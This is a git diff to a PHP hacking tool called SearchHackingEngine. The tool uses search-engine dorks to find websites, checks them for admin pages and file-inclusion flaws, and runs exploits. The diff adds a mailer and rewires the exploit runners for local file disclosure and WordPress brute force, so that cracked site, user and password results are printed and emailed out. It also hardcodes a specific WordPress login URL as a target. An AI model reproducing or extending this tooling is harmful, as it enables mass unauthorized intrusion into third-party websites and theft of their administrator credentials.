diff --git a/src/Mailer.php b/src/Mailer.php
new file mode 100644
index 0000000..04b59b9
--- /dev/null
+++ b/src/Mailer.php
@@ -0,0 +1,32 @@
+transporterMail = \Swift_SmtpTransport::newInstance($configMail['host'], $configMail['port'], $configMail['security'])
+ ->setUsername($configMail['username'])
+ ->setPassword($configMail['password']);
+ }
+
+ public function sendMessage($to, $body)
+ {
+ $mailer = \Swift_Mailer::newInstance($this->transporterMail);
+ $message = \Swift_Message::newInstance('Result of Avenger')
+ ->setFrom($to)
+ ->setTo($to)
+ ->setBody(strip_tags($body))
+ ->addPart($body, 'text/html');
+ $numSent = $mailer->send($message);
+
+ return $numSent;
+ }
+}
diff --git a/src/SearchHackingEngine.php b/src/SearchHackingEngine.php
index 7b9b543..f3b4f64 100644
--- a/src/SearchHackingEngine.php
+++ b/src/SearchHackingEngine.php
@@ -97,8 +97,8 @@ protected function configure()
new InputOption(
'email',
null,
- InputOption::VALUE_NONE,
- 'Set the mail for send result. Example: --email'),
+ InputOption::VALUE_REQUIRED,
+ 'Set the mail for send result. Example: --email="lenonleite@gmail.com"'),
new InputOption(
'exploit',
null,
@@ -131,7 +131,8 @@ protected function execute(InputInterface $input, OutputInterface $output)
'torl' => $this->torl,
'virginProxies' => $this->vp,
'check' => $this->check,
- 'exploit' => $this->exploit,
+ 'email' => $this->email,
+
);
$dorks = explode('||',$commandData['dork']);
foreach($dorks as $dork){
@@ -198,9 +199,14 @@ protected function execute(InputInterface $input, OutputInterface $output)
$this->printResult($result, $output, 'Result list of Search:');
$this->printResumeResult($output, 'Patch File of Search:', $file);
if (!empty($this->check)) {
- $this->checkVunerabilities($nameFile, $result, $commandData, $output);
+ $resultsOfCheck=$this->checkVunerabilities($nameFile, $result, $commandData, $output);
+ }
+ if (!empty($this->exploit)) {
+ $this->checkExploits($resultsOfCheck,$commandData,$output);
}
+
+
sleep(5);
}
}
@@ -227,7 +233,7 @@ protected function validParamns(InputInterface $input, OutputInterface $output)
$this->torl = $input->getOption('torl');
$this->check = $this->sanitazeValuesOfEnginers($input->getOption('check'));
$this->pl = $input->getOption('pl');
- $this->exploit = $input->getOption('exploit');
+ $this->exploit = explode(",",$input->getOption('exploit'));
}
private function runHelp($output)
@@ -288,7 +294,7 @@ protected function sendMail($resultFinal)
$msg .= $keyResultEnginer.' '.$result.'
';
}
}
- $mailer->sendMessage('you@example.com', $msg);
+ $mailer->sendMessage($this->email, $msg);
}
}
@@ -357,7 +363,8 @@ protected function checkVunerabilities($nameFile, $result, $commandData, OutputI
if (in_array('isAdmin', $this->check)) {
$resultFinal = array();
$nameFileIsAdmin = $nameFile.'_isAdmin';
- $site = new Vulnerabilities\DefaultSite($commandData, $result);
+ $site = new DefaultSite($commandData, $result);
+ $resultFinal['isAdmin']="http://www.riojurua.com.br/wp-login.php";
$resultFinal['isAdmin'] = $site->check();
$this->saveTxt($resultFinal, $nameFileIsAdmin);
$this->printResult($resultFinal, $output, 'Result list of admin page:');
@@ -383,12 +390,19 @@ protected function checkVunerabilities($nameFile, $result, $commandData, OutputI
$this->printResumeResult($output, 'Patch File of Local File Inclusion:', $nameFileLfi);
}
- if($this->exploit["lfd"]){
- $this->runExploitLFD($resultFinal,$commandData,$output);
+ return $resultFinal;
+
+ }
+
+ protected function checkExploits($results,$commandData, OutputInterface $output){
+
+ if (in_array('lfd', $this->exploit)) {
+ $this->runExploitLFD($results,$commandData,$output);
}
- if($this->exploit["btwp"]){
- $this->runExploitBTWP($resultFinal,$commandData,$output);
+ if (in_array('btwp', $this->exploit)) {
+ $this->runExploitBTWP($results,$commandData,$output);
}
+
}
protected function runExploitLFD($result, $commandData, OutputInterface $output){
@@ -420,13 +434,19 @@ protected function runExploitBTWP($result, $commandData, OutputInterface $output
$output->writeln('');
$btwp=new Exploits\BruteForceWordPress($commandData);
foreach($result['isAdmin'] as $url){
- $result=$btwp->execute($url);
- }
- $output->writeln('********************Print Results***********************');
- foreach($result as $res){
- $output->writeln("Site: ".$res['site']);
- $output->writeln("User: ".$res['user']);
- $output->writeln("Password: ".$res['password']);
+ $resBtwp['isAdmin']=$btwp->execute($url);
+ if($resBtwp){
+ $output->writeln('********************Print Results***********************');
+ $output->writeln("Site: ".$resBtwp['isAdmin']['site']."");
+ $output->writeln("User: ".$resBtwp['isAdmin']['user']."");
+ $output->writeln("Password: ".$resBtwp['isAdmin']['password']."");
+ $output->writeln('********************************************************');
+ if (!empty($this->email)) {
+ $this->sendMail($resBtwp, $this->email);
+ $this->printResumeResult($output, 'Email to send:', $this->email);
+ }
+ }
}
+
}
}